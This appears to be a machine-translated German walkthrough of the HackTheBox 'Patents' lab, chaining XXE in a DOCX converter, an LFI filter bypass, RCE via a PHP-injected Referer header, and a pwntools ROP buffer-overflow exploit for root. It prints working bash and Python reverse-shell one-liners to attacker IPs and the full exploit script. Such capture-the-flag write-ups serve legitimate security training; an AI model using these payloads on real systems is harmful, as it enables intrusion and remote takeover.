HackTheBox. Patente weitergeben. XXE über DOCX-, LFI- bis RCE-, GIT- und ROP-Ketten-Dateien

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .

In diesem Artikel nutzen wir XXE im Dienst, um DOCX-Dokumente in PDF zu konvertieren, RCE über LFI abzurufen, den GIT-Verlauf zu durchsuchen und Dateien wiederherzustellen, ROP-Ketten mit pwntools zu erstellen und eine versteckte Stammdatei zu finden.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.173, die ich zu / etc / hosts hinzufüge.

10.10.10.173    patents.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A patents.htb -p22,80,8888

Bild

Der Host führt SSH-Dienste und den Apache-Webserver aus, wobei Port 8888 für einen unverständlichen Dienst reserviert ist. Mal sehen, das Web.

Bild

Die Site verfügt über ein Download-Formular für DOCX-Dokumente.

Bild

XXE DOCX


Laut Aussage wird unser Dokument in das PDF-Format konvertiert. Dies legt den Gedanken an XXE nahe. Ich habe ein Beispiel von hier .

Bild

In diesem Beispiel versucht der Host daher, das XML-Dokument vom Remote-Server herunterzuladen. Durch das Herunterladen dieses Dokuments liest er die im heruntergeladenen XML-Dokument angegebene lokale Datei, codiert sie in base64 und kontaktiert unseren Server erneut, wobei er die codierte Datei als Anforderungsparameter übergibt. Das heißt, nachdem wir diesen Parameter dekodiert haben, erhalten wir die Datei vom Remote-Computer.

Diese Last sollte jedoch nicht in den Pfad word / document.xml gestellt werden. Da das OpenXML SDK für die Arbeit mit diesem Dokumenttyp verwendet wird, folgt es von hier und von hierDie serverseitige Software sucht nach Daten in word / document.xml und in customXML / item1.xml. Daher sollte die Last dort platziert werden.

Erstellen wir ein docx-Dokument und entpacken es als Zip-Archiv. Erstellen Sie anschließend das Verzeichnis customXML und erstellen Sie die Datei item1.xml darin. Darin schreiben wir den Code aus dem obigen Bild und ändern die IP-Adresse in unsere eigene. Und wir archivieren das Dokument zurück.

Bild

Führen Sie nun den lokalen Webserver aus.

python3 -m http.server 80

Und im aktuellen Verzeichnis erstellen wir die zweite XML-Datei, wobei wir / etc / passwd als gewünschte Datei angeben.

Bild

Und laden Sie das Dokument auf den Server hoch. In dem Fenster, in dem der Webserver ausgeführt wird, wird die umgekehrte Verbindung angezeigt.

Bild

Dekodieren Sie base64 und rufen Sie die angeforderte Datei ab.

Bild

Auf diese Weise können wir Dateien auf dem Server lesen. Lesen wir die Apache-Konfigurationsdateien. Ändern Sie dazu dtd.xml und wiederholen Sie den Download des Dokuments.

Bild

Bild

So finden wir das Verzeichnis heraus, in dem sich die Site befindet. Versuchen wir, die Konfigurationsdatei zu lesen.

Bild

Bild

Und der Kommentar besagt, dass die Datei aufgrund einer Sicherheitsanfälligkeit umbenannt wurde. Wir werden natürlich auf patents.htb / getPatent_alphav1.0.php verweisen .

Bild

Wenn Sie auf diese Seite gehen und den Pfad ../../../../../etc/passwd als ID-Parameter übergeben, werden alle Vorkommen von "../" aus unserer Zeile gelöscht. Ersetzen wir jede Zeile "../" durch "... /. /". Wenn Sie also eine Sequenz löschen, bleibt sie weiterhin "../".

Bild

Und wir finden LFI.

Einstiegspunkt


Versuchen wir, RCE daraus zu machen. Ehrlich gesagt - es war schwierig. Tatsache ist, dass wir beim Senden eines solchen Dokuments kein Angebot zum Herunterladen von PDF erhalten haben. Das heißt, Deskriptor 2 wurde verwendet (um Diagnose- und Debug-Meldungen in Textform anzuzeigen). Und wir können uns an ihn wenden. Codieren wir die Reverse Shell in base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Wir werden es dekodieren und in PHP an die Systemfunktion übergeben. Übergeben wir den Code beim Hochladen einer Datei als HTTP-Header.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Führen Sie netcat aus.

nc -lvp 4321

Wenden wir uns nun dem zweiten Deskriptor zu.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Wir werden wieder verbunden.

Wurzel 1


Laden Sie das Skript-System überträgt Linpeas und analysieren Sie die Ausgabe sorgfältig. Also arbeiten wir in einem Docker-Container.

Bild

Wir finden auch Hashes. Aber beim Hacken kommen wir zu nichts.

Bild

Bild

Führen Sie daher pspy64 aus , um laufende Prozesse zu verfolgen. Und wir finden den Start des Prozesses als root, in dem das Passwort als Umgebungsvariable übergeben wird.

Bild

Und ändern Sie den Benutzer lokal, indem Sie dieses Passwort eingeben.

Bild

Wurzel 2


Mal sehen, was dieses Skript macht.

Bild

Bild

Wir bekommen einen Tipp zu einem lfmserver und speichern auch den Benutzernamen und das Passwort. Lassen Sie uns im System nach allem suchen, was mit lfm zu tun hat.

Bild

Und wir finden das Git-Repository in diesem Verzeichnis.

Bild

Lassen Sie uns mit diesem Repository arbeiten.

Bild

Lassen Sie uns die Geschichte der Veränderungen sehen.

Bild

Lassen Sie uns die Geschichte der Veränderungen sehen. Wir sehen also, dass beim vorletzten Commit eine ausführbare Datei und eine Beschreibung hinzugefügt wurden und im letzten bereits gelöscht wurden. Lassen Sie uns einen Rollback durchführen, bevor Sie Dateien löschen.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

Und in unserem Verzeichnis erschien eine ausführbare Datei und Beschreibung.

Bild

Bild

Hier wollte ich schon anfangen, die Datei umzukehren, aber - wir haben ein Git-Projekt! Ich habe ein Commit gefunden, das Quellcodes erwähnt.

Bild

Und lassen Sie uns die Dateien wiederherstellen.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Danach laden wir die interessierenden Quellcodes, das Programm selbst und die Bibliotheken auf den lokalen Computer herunter.

Rop


Wir müssen versuchen, die Sicherheitslücke im Programm zu finden und auszunutzen. Es gibt Quellcodes, die helfen können. Lassen Sie uns den Schutz in einer Binärdatei überprüfen.

Bild

Das heißt, der Kanarienvogel und der PIE fehlen, aber der Stapel ist nicht ausführbar. Öffnen wir die Binärdatei in einem beliebigen Disassembler mit einem für Sie geeigneten Dekompiler (ich verwende IDA Pro 7.2) und vergleichen den dekompilierten Code mit den Quellcodes aus dem Repository.

Bild

Herstellen einer Verbindung zum Server und Verwenden der Daten aus der Datei checker.py sowie der Anmeldeinformationen.

Bild

Bild

Lassen Sie uns eine Exploit-Vorlage schreiben.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Lassen Sie uns nun die Anfrage bestimmen. Starte die Anwendung.

Bild

Sie müssen den Pfad zur Datei und den Hash ihres Inhalts senden. Zum Beispiel habe ich / etc / hosts genommen.

Bild

Fügen Sie der Vorlage den folgenden Code hinzu.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Führen Sie nun den 404-Fehler aus und erhalten

Bild

Sie ihn. Sehen wir uns die Protokolldatei an.

Bild

Es ist klar, wo die Anwendung nach einer Datei sucht. Spielen wir mit den Pfaden und geben Sie eine solche Datei an.

file = "../../../../../etc/hosts"

Wir werden den Code ausführen und keine Fehler sehen.

Bild

Bild

Aber im Fall von Urlencode erhalten wir eine Antwort mit Code 200 vom Server!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

Bild

Großartig, lass uns zum Disassembler zurückkehren. Wir finden unter den Zeilen (Umschalt + F12) eine erfolgreiche Serverantwort. Und mal sehen, wo darauf zugegriffen wird (X).

Bild

Und wir gehen zur ersten Funktion über, bei der zu Beginn eine Überprüfung der Anmeldeinformationen erfolgt.

Bild

Benennen wir die variablen Zeilen im Disassembler-Fenster um, um das Verständnis im Dekompiler zu erleichtern.

Bild

Analysieren Sie den Code in den Zeilen 18 bis 24 und verstehen Sie Folgendes: Ein Teil der Benutzereingabe fällt in die Funktion sub_402DB9, wobei die Zeichenfolge in den Variablennamen konvertiert wird, der dann in die Zugriffsfunktion fällt, und wenn das Ergebnis negativ ist, wird die Nachricht 404 ausgegeben. Der Variablenname ist der Pfad zur Datei. Da die Anforderung auch bei der Urlencode-Codierung verarbeitet wurde, wird diese Funktion höchstwahrscheinlich für die Decodierung benötigt.

Bild

Tatsache ist jedoch, dass der Variablenname, in den die Daten übertragen werden, eine begrenzte Größe hat.

Bild

Für einen Pufferüberlauf müssen wir also 0xA0 = 160 Bytes übertragen. Fügen wir dem Code die Funktion hinzu, bis zu 160 Byte zu addieren und den Pfad zur Datei zu codieren. Da der Hash aus dem Inhalt der Datei berechnet wird, muss die Integrität des Dateipfads nicht verletzt werden, dh nachdem der Hauptpfad 0x00 Bytes hinzugefügt hat.

Tatsache ist jedoch, dass wir den Hash aus jeder Datei auf dem Server kennen müssen, die immer verfügbar ist und sich nie ändert. Zum Beispiel / proc / sys / kernel / randomize_va_space, und wie wir uns aus der Ausgabe von linPEAS erinnern, ist ASLR aktiviert, dh wir kennen den Hash.

Bild

Dann ändern Sie den Code.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Es funktioniert erfolgreich!

Bild

Verwenden wir nun einen Speicherverlust und bestimmen die Adresse, an der die libc-Bibliothek geladen wird. Dazu erhalten wir die Adresse der Schreibfunktion in der geladenen libc-Bibliothek.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

Bild

Wählen Sie nun die Adresse der Funktion dup2 (die ersten 8 Bytes). Subtrahieren Sie die Adresse der Funktion dup2 in der entladenen Bibliothek davon. Hier finden Sie die Basisadresse von libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

Bild

Suchen Sie nun die Adresse der Zeile / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Es bleibt die ROP zu sammeln, in der die Standard-E / A-Deskriptoren (0,1,2) an den im Programm registrierten Deskriptor umgeleitet werden (nehmen wir 6). Danach wird die Systemfunktion aufgerufen, wo wir die Adresse der Zeile / bin / sh übergeben.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

Bild

Fein! Wir bekommen die Schale von der Wurzel. Aber er stirbt schnell. Führen Sie den Listener (nc -lvp 8765) aus und werfen Sie die Back Connect-Shell.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

Bild

Bild

Und wir haben eine stabile Hülle. Ich gebe den vollständigen Code im Bild unten.

Bild

Aber wir können das Root-Flag nicht lesen ...

Bild

WURZEL 3


Wenn wir linpeas ausführen und die Ausgabe betrachten, finden wir interessante Abschnitte, insbesondere / dev / sda2.

Bild

Lassen Sie uns Informationen zu allen Blockgeräten erhalten.

Bild

Wir haben also die Root-Partition / dev / sda2. Erstellen Sie ein Verzeichnis und hängen Sie die Partition ein.

Bild

Also finden wir die Root-Flagge.

Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles